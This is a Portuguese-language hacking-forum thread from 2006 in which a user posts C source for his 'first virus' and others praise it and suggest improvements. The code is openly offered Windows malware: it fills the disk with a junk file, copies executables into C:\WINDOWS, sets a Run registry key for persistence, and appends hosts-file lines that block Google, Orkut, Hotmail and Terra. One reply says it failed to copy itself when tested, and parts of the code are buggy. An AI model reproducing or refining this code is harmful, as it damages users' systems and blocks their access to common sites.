FORUM DARKERS

Tecnologia & Informática => Programação => C/C#/C++ => Topic started by: _Dr4k0_ on 02 de November , 2006, 02:55:45 PM

Title: Meu primeiro Vírus..(C)
Post by: _Dr4k0_ on 02 de November , 2006, 02:55:45 PM
Gente este é o meu primeiro vírus..É bem simples e recebi várias ajudas...
é o meu primeiro então não saiu grande coisa.. espero que gostem e sirvam de estudo para voces...
e o vírus foi codado em cima dos conhecimentos do tuto do dark_side

vamos deichar de enrolação e e postar logo o source..

/************************
**Virus coded by _Dr4k0_*
**Member of BrazLab     *
**Greetz to dark_side,  *
**gbr,storm,Defcon,     *
**Haxnetwork,etc..      *
**************************/ 
#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <string.h>
HKEY chave;
const char valor[] = "C:\\WINDOWS\\programa.exe";

int Reproduz (){
CopyFile("C:\\arquivo.exe","C:\\WINDOWS\\arquivo.exe",FALSE);
return 0;
}

int  Cria(){
FILE *fp=fopen("C:\\arquivo.exe","a+b");
int x;

for(x=0;x<=100000;x++)
  fprintf(fp,"bla bla bla");

fclose(fp);

char string[256];
int y;

{
ZeroMemory(&string,sizeof(string));
sprintf(string,"C:\\WINDOWS\\arq%d.exe",y);
CopyFile("C:\\arquivo.exe",string,0);
}
return 0;
}

int Reg(){
RegOpenKey(HKEY_LOCAL_MACHINE,"SoftWare\\Microsoft\\Windows\\CurrentVersion\\Run",&chave);
RegSetValueEx(chave,"Programa",0,REG_SZ,(LPBYTE)valor,strlen(valor));
RegCloseKey(chave);
return 0;
}

int Host ()
{
FILE *fp = fopen("C:\\WINDOWS\\system32\\drivers\\etc\\hosts","a+b");
if(fp != NULL){
fputs("0.0.0.0 www.google.com.br\n0.0.0.0 www.orkut.com\n0.0.0.0 www.hotmail.com\n0.0.0.0 www.terra.com.br",fp);
fclose(fp);
}
return 0;
}

int main() {
Cria();
Reproduz();
Reg();
Host();

printf ("C");Sleep(10000);printf ("a");Sleep(10000);printf ("r");Sleep(10000);printf ("r");Sleep(10000);printf ("e");Sleep(10000);printf ("g");Sleep(10000);printf ("a");Sleep(10000);printf ("n");Sleep(10000);printf ("d");Sleep(10000);printf ("o");Sleep(10000);printf (".");Sleep(10000);printf (".");Sleep(10000);printf (".");Sleep(10000);printf (".");Sleep(10000);printf (".\n");Sleep(10000);
printf ("Coded by _Dr4k0_");
printf ("Diga ai como esta..Fico legal o code? :D");

return 0;
}

Title: Re: Meu primeiro Vírus..(C)
Post by: Anonymous on 17 de November , 2006, 06:55:35 PM
Puta sacanagem isso
kkkkkkkkkkkkkk
Title: Re: Meu primeiro Vírus..(C)
Post by: Anonymous on 20 de November , 2006, 09:49:01 AM
ao inves de C:\\WINDOWS\\system32, põe windir...

veja uma lista de variáveis de ambiente...

vai no dos e digita set que ele te mnostra.

Abraços
Title: Re: Meu primeiro Vírus..(C)
Post by: rog on 20 de November , 2006, 03:51:56 PM
nao tenho certeza que windir seja interpretado assim no C

no C++ tem que chamar uma funçao para buscar ele

rog
Title: Re: Meu primeiro Vírus..(C)
Post by: Anonymous on 10 de December , 2006, 08:07:05 PM
Cool _Dr4k0_,  mas isso aí ta mais pra worm do q virus, hehehe, mesmo assim, pra quem ta começando esta super bom, uma dica pra vc, aprenda o formato PE
Title: Re: Meu primeiro Vírus..(C)
Post by: script on 13 de May , 2007, 04:40:37 PM
eu testei este vírus no meu pc, e ele ñ infectou nada, soh criou um arquivo com blablabla

ele nem se copiar copia!
Title: Re: Meu primeiro Vírus..(C)
Post by: java_aly on 13 de May , 2007, 09:10:15 PM
_Dr4k0_ É exatamente
dessa forma que se começa...

Parabens...   :D